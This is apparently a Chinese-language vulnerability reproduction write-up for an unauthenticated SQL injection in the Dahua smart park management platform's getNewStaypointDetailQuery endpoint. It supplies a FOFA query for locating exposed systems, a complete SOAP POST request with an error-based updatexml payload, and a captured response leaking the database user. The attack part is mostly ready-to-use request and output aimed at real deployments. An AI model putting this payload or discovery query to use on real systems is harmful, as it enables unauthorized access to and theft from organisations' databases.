D2-1大华-智慧园区综合管理平台-SQL

漏洞描述：

影响版本：

由于大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="dahua-智慧园区综合管理平台"

漏洞复现：

payload：

```
POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
<soapenv:Header/>
<soapenv:Body>
<car:getNewStaypointDetailQuery>
<!--type: string-->
<searchJson>{}</searchJson>
<!--type: string-->
<pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--"}</pageJson>
<!--type: string-->
<extend>quae divum incedo</extend>
</car:getNewStaypointDetailQuery>
</soapenv:Body>
</soapenv:Envelope>
```

效果图: 查询当前用户

Request

数据包扫描 热加载 构造请求

```
POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1
Host: [redacted]
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
<soapenv:Header/>
<soapenv:Body>
<car:getNewStaypointDetailQuery>
<!--type: string-->
<searchJson>{}</searchJson>
<!--type: string-->
<pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--"}</pageJson>
<!--type: string-->
<extend>quae divum incedo</extend>
</car:getNewStaypointDetailQuery>
```

Responses https 787bytes / 64ms

```
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Tue, 12 Mar 2024 18:16:47 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 787

<soap:Envelope xmlns:soap="http://schemas.
"><soap:Body><soap:Fault><faultcode>soap:S
faultcode><faultstring>PreparedStatementCa
select /*+INDEX(t1 IDX_CP_CARNUM)*/ t1.*,t
as carImg2Url,t1.car_Img3_Url as carImg3Ur
car_Img5_Url as carImg5Url,date_format(t1.
from c_picrecord t1 where 1=1 order by 1
0x7e),1)-- asc limit -1,-1]; SQL state [HY
'~mysql@127.0.0.1~'; nested exception is
'~mysql@127.0.0.1~'</faultstring></soap:Fa
```